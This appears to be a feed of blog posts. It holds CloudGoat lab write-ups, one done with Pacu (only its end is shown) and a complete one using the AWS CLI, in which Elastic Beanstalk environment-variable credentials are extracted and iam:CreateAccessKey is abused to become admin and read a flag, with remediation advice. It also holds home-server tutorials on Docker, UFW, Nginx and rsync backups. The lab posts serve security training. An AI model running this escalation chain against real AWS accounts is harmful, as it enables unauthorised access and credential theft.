    Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values

Retrieve Flag

cat ~/.local/share/pacu/admin/downloads/secrets/secrets_manager/secrets.txt

cgid135wosdg8e_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

📐 Attack Chain Diagram

┌─────────────────────┐
│   Low-Priv User     │
│   (ebs-1 profile)   │
└──────────┬──────────┘
           │ elasticbeanstalk__enum
           ▼
┌─────────────────────┐
│  Beanstalk Secrets  │
│  - Access Key       │
│  - Secret Key       │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│  Secondary User     │
│   (ebs-2 profile)   │
└──────────┬──────────┘
           │ iam__privesc_scan (CreateAccessKey)
           ▼
┌─────────────────────┐
│    Admin User       │
│  (admin profile)    │
└──────────┬──────────┘
           │ secrets__enum
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘

🚨 Vulnerabilities Exploited

#	Vulnerability	CWE
1	Hardcoded credentials in Beanstalk environment variables	CWE-798
2	Overly permissive IAM policy (`iam:CreateAccessKey` on `*`)	CWE-732
3	Lack of least privilege principle	CWE-250

💡 Remediation

Do not store long-lived AWS credentials in environment variables - Use AWS Secrets Manager or SSM Parameter Store
Restrict iam:CreateAccessKey - Scope to self only:

    {
      "Effect": "Allow",
      "Action": "iam:CreateAccessKey",
      "Resource": "arn:aws:iam::*:user/${aws:username}"
    }

Enable CloudTrail alerts for CreateAccessKey API calls
Regular IAM Access Analyzer scans to detect overly permissive policies

🎯 MITRE ATT&CK Mapping

Tactic	Technique	ID
Credential Access	Unsecured Credentials: Credentials in Files / Environment Variables	T1552.001
Discovery	Cloud Service Discovery	T1526
Privilege Escalation	Valid Accounts: Cloud Accounts	T1078.004
Persistence	Account Manipulation: Additional Cloud Credentials	T1098.001

🛠️ Pacu Commands Reference

# Session Management
import_keys <profile>         # Import AWS CLI credentials
swap_session                  # Switch between Pacu sessions
whoami                        # Display current session info

# Discovery
ls                            # List all modules
search <keyword>              # Search for modules
help <module>                 # Get module help

# Elastic Beanstalk
run elasticbeanstalk__enum --region <region>

# IAM Enumeration
run iam__bruteforce_permissions --region <region>
run iam__enum_permissions

# Privilege Escalation
run iam__privesc_scan --scan-only
run iam__privesc_scan --user-methods <method>

# Secrets
run secrets__enum --region <region>

You can also read this post on my portfolio page.

🥷 CloudGoat: Beanstalk Secrets (AWS CLI): Write-up: From low-privilege user to admin (AWS CLI approach)

denesbeck — Mon, 16 Mar 2026 09:59:20 +0000

🥷 CloudGoat: Beanstalk Secrets (AWS CLI)

Write-up: From low-privilege user to admin (AWS CLI approach)

🧭 Overview

Scenario: beanstalk_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: AWS CLI (no exploitation frameworks) \
Objective: Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.

⚔️ Attack Path Summary

Low-Priv User → Beanstalk Enum → Secondary Creds → IAM Enum → CreateAccessKey → Admin → Flag

🔑 Phase 1: Initial Access

Configure Low-Privilege Profile

aws configure --profile ebs-1
# Access Key: AKIA****************
# Secret Key: EOyTyXYE/DwNCFAHmFSla5SWz**************

Validate Credentials

aws sts get-caller-identity --profile ebs-1

{
  "UserId": "AIDA****************",
  "Account": "7912********",
  "Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_low_priv_user"
}

🔎 Phase 2: Elastic Beanstalk Enumeration

List Applications

aws elasticbeanstalk describe-applications --profile ebs-1

Found: cgid09kivyz0ga-app - "Elastic Beanstalk application for insecure secrets scenario"

List Environments

aws elasticbeanstalk describe-environments --profile ebs-1

Property	Value
Environment	`cgid09kivyz0ga-env`
Application	`cgid09kivyz0ga-app`
Platform	Python 3.11 on Amazon Linux 2023
Status	Ready

Extract Configuration Settings

aws elasticbeanstalk describe-configuration-settings \
  --application-name cgid09kivyz0ga-app \
  --environment-name cgid09kivyz0ga-env \
  --query "ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" \
  --output table \
  --profile ebs-1

Namespace	Name	Value
`aws:elasticbeanstalk:application:environment`	`PYTHONPATH`	`/var/app/venv/staging-LQM1lest/bin`
`aws:elasticbeanstalk:application:environment`	`SECONDARY_ACCESS_KEY`	`AKIA****************`
`aws:elasticbeanstalk:application:environment`	`SECONDARY_SECRET_KEY`	`19jM1vKF4UQqw8vJo6FwKKxd**************`

Credentials extracted from environment variables.

👤 Phase 3: Pivot to Secondary User

Configure Secondary Profile

aws configure --profile ebs-2
# Access Key: AKIA****************
# Secret Key: 19jM1vKF4UQqw8vJo6FwKKxd**************

Validate Credentials

aws sts get-caller-identity --profile ebs-2

Confirmed: cgid09kivyz0ga_secondary_user

🗄️ Phase 4: IAM Enumeration

Enumeration Workflow

list-users → list-attached-user-policies → get-policy → get-policy-version

List All Users

aws iam list-users --profile ebs-2

Username	Note
`cgid09kivyz0ga_admin_user`	Target
`cgid09kivyz0ga_low_priv_user`	Initial access
`cgid09kivyz0ga_secondary_user`	Current user

Enumerate Secondary User's Policies

aws iam list-attached-user-policies \
  --user-name cgid09kivyz0ga_secondary_user \
  --profile ebs-2

{
  "AttachedPolicies": [
    {
      "PolicyName": "cgid09kivyz0ga_secondary_policy",
      "PolicyArn": "arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy"
    }
  ]
}

Get Policy Details

aws iam get-policy \
  --policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \
  --profile ebs-2

Noted DefaultVersionId: v1

Extract Policy Document

aws iam get-policy-version \
  --policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \
  --version-id v1 \
  --profile ebs-2

{
  "Statement": [
    {
      "Action": [
        "iam:CreateAccessKey"
      ],
      "Effect": "Allow",
      "Resource": "*"
    },
    {
      "Action": [
        "iam:ListRoles",
        "iam:GetRole",
        "iam:ListPolicies",
        "iam:GetPolicy",
        "iam:ListPolicyVersions",
        "iam:GetPolicyVersion",
        "iam:ListUsers",
        "iam:GetUser",
        "iam:ListGroups",
        "iam:GetGroup",
        "iam:ListAttachedUserPolicies",
        "iam:ListAttachedRolePolicies",
        "iam:GetRolePolicy"
      ],
      "Effect": "Allow",
      "Resource": "*"
    }
  ]
}

Critical Finding

Permission	Resource	Impact
`iam:CreateAccessKey`	`*` (wildcard)	Can create access keys for ANY user, including admin

💥 Phase 5: Privilege Escalation

Create Access Key for Admin User

aws iam create-access-key \
  --user-name cgid09kivyz0ga_admin_user \
  --profile ebs-2

{
  "AccessKey": {
    "UserName": "cgid09kivyz0ga_admin_user",
    "AccessKeyId": "AKIA****************",
    "Status": "Active",
    "SecretAccessKey": "C8aC3UMs1rMewHHLwAHxxk4T**************"
  }
}

Configure Admin Profile

aws configure --profile admin
aws sts get-caller-identity --profile admin

{
  "UserId": "AIDA****************",
  "Account": "7912********",
  "Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_admin_user"
}

Privilege escalation successful.

🚩 Phase 6: Capture the Flag

List Secrets

aws secretsmanager list-secrets --profile admin --region us-east-1

Found: cgid09kivyz0ga_final_flag

Retrieve Flag

aws secretsmanager get-secret-value \
  --secret-id cgid09kivyz0ga_final_flag \
  --profile admin \
  --region us-east-1

FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

📐 Attack Chain Diagram

┌─────────────────────┐
│   Low-Priv User     │
│   (ebs-1 profile)   │
└──────────┬──────────┘
           │ elasticbeanstalk:DescribeConfigurationSettings
           ▼
┌─────────────────────┐
│  Beanstalk Secrets  │
│  - Access Key       │
│  - Secret Key       │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│  Secondary User     │
│   (ebs-2 profile)   │
└──────────┬──────────┘
           │ iam:CreateAccessKey (Resource: *)
           ▼
┌─────────────────────┐
│    Admin User       │
│  (admin profile)    │
└──────────┬──────────┘
           │ secretsmanager:GetSecretValue
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘

🚨 Vulnerabilities Exploited

#	Vulnerability	CWE
1	Hardcoded credentials in Beanstalk environment variables	CWE-798
2	Overly permissive IAM policy (`iam:CreateAccessKey` on `*`)	CWE-732
3	Lack of least privilege principle	CWE-250

💡 Remediation

Do not store long-lived AWS credentials in environment variables - Use AWS Secrets Manager or SSM Parameter Store
Restrict iam:CreateAccessKey - Scope to self only:

    {
      "Effect": "Allow",
      "Action": "iam:CreateAccessKey",
      "Resource": "arn:aws:iam::*:user/${aws:username}"
    }

Enable CloudTrail alerts for CreateAccessKey API calls
Regular IAM Access Analyzer scans to detect overly permissive policies

🎯 MITRE ATT&CK Mapping

Tactic	Technique	ID
Credential Access	Unsecured Credentials: Credentials in Files / Environment Variables	T1552.001
Discovery	Cloud Service Discovery	T1526
Privilege Escalation	Valid Accounts: Cloud Accounts	T1078.004
Persistence	Account Manipulation: Additional Cloud Credentials	T1098.001

🛠️ Commands Reference

# Beanstalk Enumeration
aws elasticbeanstalk describe-applications
aws elasticbeanstalk describe-environments
aws elasticbeanstalk describe-configuration-settings --application-name X --environment-name Y

# IAM Enumeration Workflow
aws iam list-users
aws iam list-attached-user-policies --user-name X
aws iam list-user-policies --user-name X
aws iam get-policy --policy-arn X
aws iam get-policy-version --policy-arn X --version-id vN

# Privilege Escalation
aws iam create-access-key --user-name X

# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id X

You can also read this post on my portfolio page.

🏗️ Building my home server P4: Docker, UFW and Nginx

denesbeck — Mon, 16 Mar 2026 09:59:16 +0000

🏗️ Building my home server: Part 4

Containers, UFW and Nginx

In my previous blog post, I discussed volume management. For the next step, I aimed to deploy a few apps and app stacks, such as File Browser and Transmission.

File Browser is a sleek, out-of-the-box file management interface that allows you to quickly set up a web-based file management system, complete with built-in access controls to secure your files.
Transmission is a minimalist, lightweight BitTorrent client that I appreciate for its speed, open-source nature, simplicity, and efficient performance.

To make deploying these and other apps quick and easy, I like to run them in containers, which are the go-to method these days for running portable, isolated, and environment-consistent applications. Fortunately, both File Browser and Transmission offer official container images, which made the process even smoother.

🐳 Containers

To set up the containers, I followed the official installation guides for both apps:

These guides provided clear, step-by-step instructions on how to deploy each app using Docker.

Since each of these apps are single-container apps and don't require multiple services to interact with each other, using the docker run command instead of docker compose was a straightforward decision. Additionally, I wanted the flexibility to set variables dynamically, which was another factor that made docker run the better choice for this setup.

# File Browser
docker run \
    -v /path/to/srv:/srv \
    -v /path/to/database:/database \
    -v /path/to/config:/config \
    -e PUID=$(id -u) \
    -e PGID=$(id -g) \
    -p 8080:80 \
    filebrowser/filebrowser:s6

# Transmission
docker run -d \
  --name=transmission \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -e TRANSMISSION_WEB_HOME= `#optional` \
  -e USER= `#optional` \
  -e PASS= `#optional` \
  -e WHITELIST= `#optional` \
  -e PEERPORT= `#optional` \
  -e HOST_WHITELIST= `#optional` \
  -p 9091:9091 \
  -p 51413:51413 \
  -p 51413:51413/udp \
  -v /path/to/transmission/data:/config \
  -v /path/to/downloads:/downloads `#optional` \
  -v /path/to/watch/folder:/watch `#optional` \
  --restart unless-stopped \
  lscr.io/linuxserver/transmission:latest

🛡️ UFW

To secure my containers, I used UFW (Uncomplicated Firewall) and exposed only the necessary ports. For File Browser, I opened port 8080 for the UI, and for Transmission, I opened port 9091 for the web interface.

# Turn UFW on with the default set of rules
sudo ufw enable

# Check the status of UFW
sudo ufw status verbose

# Deny all incoming traffic
sudo ufw default deny incoming

# Allow incoming tcp traffic on port 8080
sudo ufw allow 8080/tcp

# Allow incoming tcp traffic on port 9091
sudo ufw allow 9091/tcp

This way, I limited the exposure of the containers to only the essential services, reducing potential security risks. At least, that's what I thought...

It turned out that, despite not allowing traffic to port 8080 via UFW initially, I was still able to access the File Browser web UI over my local network.

🤔 But... why?

Docker binds exposed ports to 0.0.0.0 by default, making services accessible from both local and external networks.
Docker uses iptables (Linux's firewall management tool) to configure network routing. When you run containers and expose ports, Docker automatically adds iptables rules to manage traffic. These rules are added directly to the system's networking stack and can override UFW's settings in some cases.

For example, Docker might automatically add rules like:
```
ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:8080
```
UFW is essentially a frontend for iptables. If Docker's rules are inserted after UFW's (which is often the case), Docker's iptables rules will take precedence, allowing traffic that would otherwise be blocked by UFW. This can lead to situations where Docker containers are accessible even though UFW rules have been set to block traffic.

That was a bit of a security surprise! 👻

🔧 Fixing the issue

To resolve this issue, I first needed to ensure that Docker wouldn't expose ports to 0.0.0.0 by default. To do this, I had to adjust the docker run commands slightly:

-p 8080:80 -> -p 127.0.0.1:8080:8080

-p 9091:9091 -> -p 127.0.0.1:9091:9091

By adding 127.0.0.1 to the exposed ports, I ensured that the services would only be accessible from the local network. Now that my containers were safe by default, I still had to make sure that I expose these ports to the local network. To achieve this I decided to use Nginx reverse-proxy.

🚦 Nginx

To install Nginx, I followed these steps (sourced from here):

Update and upgrade the system:
```
sudo apt update
sudo apt upgrade
```
Install Nginx:
```
sudo apt install nginx
```
Start Nginx:
```
sudo systemctl start nginx
```
Enable Nginx to start on boot:
```
sudo systemctl enable nginx
```

Generate a self-signed SSL certificate:

sudo openssl req -x509 -nodes -days 365 -newkey rsa:4096 -keyout /etc/ssl/private/nginx-docker.key -out /etc/ssl/certs/nginx-docker.crt

Set proper permission for the certificate:

sudo chmod 600 /etc/ssl/private/nginx-docker.key

Create a Diffie-Hellman group to improve security:\
Learn more about Diffie-Hellman key exchange.
```
openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048
```
Set proper permissions for the Diffie-Hellman group:
```
sudo chmod 600 /etc/ssl/certs/dhparam.pem
```

Remove the default Nginx configuration:

sudo rm /etc/nginx/sites-enabled/default

Create a new Nginx configuration file:

sudo vi /etc/nginx/sites-enabled/docker.conf

Add the following configuration to the file:

server {
    listen 80;
    listen [::]:80;
    server_name _;
    return 301 https://$host$request_uri;
}

server {
  listen 443 ssl http2;
  server_name transmission.*;

  ssl_certificate      /etc/ssl/certs/nginx-docker.crt;   #Swap these out with Lets Encrypt Path if using signed cert
  ssl_certificate_key  /etc/ssl/private/nginx-docker.key; #Swap these out with Lets Encrypt Path if using signed cert

  ssl_dhparam /etc/ssl/certs/dhparam.pem;

  client_max_body_size 128M;

  location / {
    proxy_pass http://127.0.0.1:9091;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
  }
}

server {
  listen 443 ssl http2;
  server_name filebrowser.*;

  ssl_certificate      /etc/ssl/certs/nginx-docker.crt;   #Swap these out with Lets Encrypt Path if using signed cert
  ssl_certificate_key  /etc/ssl/private/nginx-docker.key; #Swap these out with Lets Encrypt Path if using signed cert

  ssl_dhparam /etc/ssl/certs/dhparam.pem;

  client_max_body_size 128M;

  location / {
    proxy_pass http://127.0.0.1:8080;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
  }
}

Restart Nginx:
```
sudo systemctl restart nginx
```

Adjust UFW

As a final step, I disabled access to ports 8080 and 9091 via UFW, then allowed full access for Nginx with the following command:

```bash
sudo ufw allow 'Nginx Full'
```

Outcome

With this setup, I can now access both apps on my local network at:

Since mydomain.com is mapped in the /etc/hosts file (or DNS resolution for local network), the subdomains resolve correctly. I can be confident that only the services proxied via Nginx are accessible within my network.

Noice! 🎉

You can also read this post on my portfolio page.

🏗️ Building my home server P3: Volumes and backup

denesbeck — Mon, 16 Mar 2026 09:54:12 +0000

🏗️ Building my home server: Part 3

Volumes and backup

In my previous post, I discussed setting up my SMB server using the Samba library. In this post, I'll be focusing on managing volumes in Linux. Although I've worked with volumes in Linux environments before, setting everything up from scratch was a valuable experience that helped refresh my knowledge. I already had several hard drives containing movies, documents, and photos. Some of these needed to be migrated to another drive, while others had to be moved to a new partition I created on an existing drive. During the process of moving files, I quickly realized the importance of backups, which led me to implement an automated backup solution for my most important data. In this blog post, I'll share my approach and the lessons I learned along the way.

✏️ Planning

Originally, all my movies and photos were stored on a 1TB HDD, while my documents were kept on a flash drive. I also recently bought a brand-new 5TB HDD. My plan was to repartition the 1TB HDD: I intended to allocate 100GB for my documents (which were currently on the flash drive), while the rest of the drive would be dedicated to my photos. I planned to move all the movies from the 1TB HDD to the 5TB drive. During this process, I realized it would be useful to create a backup partition on the 5TB disk, allowing me to back up my photos daily and maintain a maximum of three backups at any given time.

Here's the task list I put together:

Partition and then format the new 5TB disk: Allocate 100GB for photo backups and the remaining space for movies.
Backup the photo data.
Repair the file system on the 1TB disk.
Copy the movies from the 1TB disk to the 5TB disk permanently.
Temporarily copy the photos from the 1TB disk to the 5TB disk. This was necessary as I needed to format the 1TB disk, which was using the NTFS file system. I planned to change it to ext4.
Partition and format the 1TB disk: Allocate 100GB for documents, with the remaining space dedicated to photos.
Copy the photos from the 5TB disk back to the 1TB disk. Move them to the appropriate partition.
Backup the documents.
Repair the file system on the flash drive.
Copy the documents from the flash drive to the 1TB disk. Place them in the correct partition. Remove the backup.
Set up an automated backup job for photos. Ensure regular backups are done for the photos on the 1TB disk. Target the 100GB partition on the 5TB drive.

🚀 Execution

To execute my plan, I utilized several Linux tools:

lsblk to display my block devices
fdisk for partitioning
rsync for file backup
fsck to fix any file system issues
mkfs to format the file system

Partitioning and Formatting

First, I had to partition and format my new 5TB drive. For partitioning, I used the fdisk tool.

# Unmount target disk
sudo umount /dev/target_disk

# If the disk has multiple partitions, unmount them all
sudo umount /dev/target_disk*

# Start fdisk
sudo fdisk /dev/target_disk

This opened an interactive prompt where I could create, delete, and modify partitions. Below are the commands I use most frequently, but generally, I just followed the prompt's instructions.

m → Display help (list available commands)
p → Print the current partition table
n → Create a new partition
d → Delete a partition
w → Write the changes to disk and exit
q → Quit without saving changes

It's worth mentioning that you can't make irreversible mistakes—if you don't write the changes, your disk won't be affected.

Once I partitioned the drive, I could format it with a specific filesystem (e.g., ext4, ntfs, xfs, etc.). The most common filesystem for Linux is ext4.

sudo mkfs.ext4 /dev/target_disk

Just in case, I checked and verified the filesystem type and details after formatting using lsblk.

lsblk -f

Backing Up Data

Although I had a large amount of movie data (around 1TB), I deemed it non-critical, so I decided to skip backing it up. On the other hand, I considered my photos more valuable, so, I backed them up to the 5TB drive.

# List block devices and their partitions
lsblk

# Backup data
sudo rsync -aAXHvS --progress /mnt/source_disk/ /mnt/target_disk/

rsync is a powerful tool that can efficiently back up and synchronize files and directories. While its primary function is file copying, its advanced features and optimizations make it the go-to tool for tasks like backup, synchronization, and file transfer. It's ideal when you want efficiency and flexibility, especially for large datasets or remote backups.

-a → archive (recursive + preserves metadata)
-A → preserve ACLs
-X → preserve extended attributes
-H → preserve hard links
-v → verbose
-S → turn sequences of nulls into sparse blocks
--progress → shows live progress

Repairing the File System

Once the backup was complete, I could proceed to repair the filesystem using fsck. First, I unmounted the target device and ensured that it is not being used by any processes.

# Unmount your device
sudo umount /dev/target_disk

# Check and repair
sudo fsck /dev/target_disk

Copying Files Between Drives

For copying files from one drive to another, I continued using rsync in the same way I did for the backup. The rest of the steps were pretty much the same, just with different source and target values.

Automated backups

To automate the backup process, I wrote a custom bash script. In this version, I assigned Ansible variables to the SOURCE, BACKUP_BASE, and BACKUP_DIR variables, as I implemented the script with Ansible. You can easily replace these values as needed.

#!/bin/bash

# Photo backup script with rotation
# Backs up {{ backup_source }} to {{ backup_destination }}/photos_<timestamp>
# Keeps only the last 3 backups

set -euo pipefail

SOURCE="{{ backup_source }}"
BACKUP_BASE="{{ backup_destination }}"
TIMESTAMP=$(date +%Y%m%d%H%M%S)
BACKUP_DIR="${BACKUP_BASE}/photos_${TIMESTAMP}"
LOG_FILE="/var/log/backup-photos.log"

# Function to log messages
log_message() {
  echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" | tee -a "$LOG_FILE"
}

# Check if source directory exists
if [[ ! -d "$SOURCE" ]]; then
  log_message "ERROR: Source directory $SOURCE does not exist"
  exit 1
fi

# Check if backup base directory exists
if [[ ! -d "$BACKUP_BASE" ]]; then
  log_message "ERROR: Backup base directory $BACKUP_BASE does not exist"
  exit 1
fi

log_message "Starting backup of $SOURCE to $BACKUP_DIR"

# Create backup directory
mkdir -p "$BACKUP_DIR"

# Make sure that the backup directory is owned by the ansible_user
chown {{ ansible_user }}:{{ ansible_user }} $BACKUP_DIR

# Perform backup using rsync
if rsync -aAXHvS "$SOURCE/" "$BACKUP_DIR/"; then
  log_message "Backup completed successfully to $BACKUP_DIR"
else
  log_message "ERROR: Backup failed"
  # Clean up failed backup directory
  rm -rf "$BACKUP_DIR"
  exit 1
fi

# Rotation: Keep only the last 3 backups
log_message "Starting backup rotation (keeping last 3 backups)"

# Find all photo backup directories and sort by modification time (newest first)
# Then skip the first 3 (keep them) and delete the rest
find "$BACKUP_BASE" -maxdepth 1 -type d -name "photos_*" | \
  sort -nr | \
  tail -n +4 | \
  while IFS= read -r old_backup; do
      if [[ -n "$old_backup" && "$old_backup" != "$BACKUP_BASE" ]]; then
          log_message "Removing old backup: $old_backup"
          rm -rf "$old_backup"
      fi
  done

log_message "Backup rotation completed"

# Show current backups
log_message "Current backups:"
find "$BACKUP_BASE" -maxdepth 1 -type d -name "photos_*" -printf '%TY-%Tm-%Td %TH:%TM:%TS %p\n' | sort -r | tee -a "$LOG_FILE"

log_message "Backup process finished successfully"

Script Breakdown:

I wrote the script above for an Ansible playbook, so it includes some Ansible variables. You can easily replace these values as needed. It's important to make the script executable by runnning: sudo chmod 0755 /path/to/my/script.

set -euo pipefail:
- Stops immediately when an error occurs (thanks to -e).
- This option causes the script to exit if it tries to use a variable that hasn't been set (i.e., is unset or undefined) (thanks to -u).
- With this option, the script will return the exit status of the last command in a pipeline that failed, rather than just the status of the last command (thanks to -o pipefail).
The script begins by initializing the backup directories and setting the appropriate permissions.
It then uses rsync to copy the files from the source directory to the backup directory, applying the same settings as before.
After the backup is completed, the script collects all existing backup directories, sorts them by modification time in descending order, and deletes the oldest backups, keeping only the three most recent ones.
The entire backup process is logged, including any errors or success messages, either to a file or to the terminal.

To run this script automatically on my Ubuntu Server, I used the crontab utility by running sudo crontab -e (which edits the crontab settings for the root user). crontab is a tool that allows you to schedule tasks to run at specified intervals. It's part of the cron system, a time-based job scheduler in Unix-like operating systems. After opening the crontab configuration file, I added the following line to schedule the script:

0 1 * * * /path/to/my/script >> /var/log/backup-photos.log 2>&1

The above configuration ensures that the script runs every day at 1 AM (according to server's local time). It also redirects both the standard output and error messages to the specified log file (/var/log/backup-photos.log).

With this additional step, I can relax knowing that my most important data is backed up automatically every day 😎

Mount disks on system boot

Finally, to ensure that my disks are automatically mounted on system boot, I first needed to obtain the UUIDs of the devices. I did this by running: lsblk -o UUID,NAME,FSTYPE,MOUNTPOINT. Once I had the UUIDs of the target drives, I modified the filesystem table by running: sudo vi /etc/fstab. In the file, I added the following entry for each drive I wanted to mount automatically: UUID=<uuid> <pathtomount> <filesystem> defaults,noatime 0 2.

Here's a breakdown of what this line does:

The partition with the specified UUID will be mounted at the target path, e.g., /mnt/data. This means the partition identified by the UUID will be automatically mounted to the directory /mnt/data.
The filesystem type (e.g., ext4). This specifies the type of filesystem the partition is using, such as ext4, xfs, ntfs, etc.
The filesystem will be mounted with default options and the noatime option:
- defaults: This refers to a standard set of mount options that include read/write access, asynchronous I/O, and others that make the filesystem behave in a standard way.
- noatime: This option prevents the system from updating the "access time" (atime) every time a file is read. This reduces unnecessary disk writes, which can improve performance, especially on SSDs.
0 → This value indicates that the partition will not be backed up by the dump utility. In practice, most filesystems do not require backups using dump, so 0 is commonly used here.
1 → This is the fsck order. It specifies the order in which the filesystems should be checked by the fsck (file system check) utility during boot:
- 1 means this filesystem will be checked first (typically used for the root filesystem).
- 2 means it will be checked second, and so on.
- If set to 0, the filesystem will not be checked during boot.

With the configuration above, if everything is set up correctly, all registered drives will now be automatically mounted to their specified mount points during system boot. 🎉🎉🎉

You can also read this post on my portfolio page.

DEV Community: denesbeck

🌳 tmux-worktree: A Tmux Plugin for Git Worktrees

🤖 The AI era made the terminal even better

🚧 The single-branch bottleneck

💡 The solution: git worktrees

🔧 What tmux-worktree does

AI tool picker

Safe removal

Syncing gitignored files

⚙️ Configuration

🧱 Implementation

🎯 Why this matters

🤖 Building an AI Chat Widget with MCP

🧩 What is MCP?

🏗️ Architecture

🔧 The MCP Server

🔍 Blog Search

📡 Streaming Responses

🎨 The Chat Widget

🛡️ Rate Limiting

🎉 Outcome

🚀 Lambda Deployments v2: Taking the Lambda deployment pipeline from MVP to production-ready

🚀 Lambda Deployments v2

🧭 Introduction

🐛 Phase 1: Fixing What Was Broken

Compatible Runtimes Bug

Hardcoded Region

Missing Error Handling

Pagination in Layer Cleanup

🔧 Phase 2: Hardening the Pipeline

ShellCheck Linting

Input Validation

Concurrency Control

Splitting the Monolith

Removing the Unnecessary

🧪 Phase 3: Adding Tests

Node.js Tests (Vitest)

Python Tests (pytest)

Validation Gate

✨ Phase 4: Production Polish

Structured JSON Logging

SSM Parameter Caching

📊 Summary of Changes

💡 Final Thoughts

🏗️ Building my home server P7: Streaming movies with Jellyfin

🏗️ Building my home server: Part 7

🤔 Why Jellyfin?

🐳 Running Jellyfin in Docker

🤖 Automating with Ansible

🎉 Outcome

🏗️ Building my home server P6: Centralized logging with Loki

🏗️ Building my home server: Part 6

🤔 Why Loki?

🏗️ Architecture

🔧 Loki Configuration

🔧 Promtail Configuration

🐳 Docker Compose

Promtail Image

Journal Path

Permissions

Loki Port Binding

📊 Grafana Datasource

🔍 Querying Logs

🔒 Security

🎉 Outcome

🏗️ Building my home server P5: Network-wide ad blocking with Pi-hole

🏗️ Building my home server: Part 5

🤔 Why Pi-hole?

🐧 Fixing the systemd-resolved Conflict

🐳 Running Pi-hole in Docker

Port Bindings

Why Not 0.0.0.0 for DNS?

Environment Variables

Volume and Capabilities

🌐 Local DNS Records

Pi-hole v6 and dns.hosts

🤖 Automating with Ansible

🔧 Connecting Devices

🎉 Outcome

🥷 CloudGoat: Data Secrets: Write-up: Exploiting EC2 User Data and IMDS to escalate privileges

Why Not `0.0.0.0` for DNS?

Pi-hole v6 and `dns.hosts`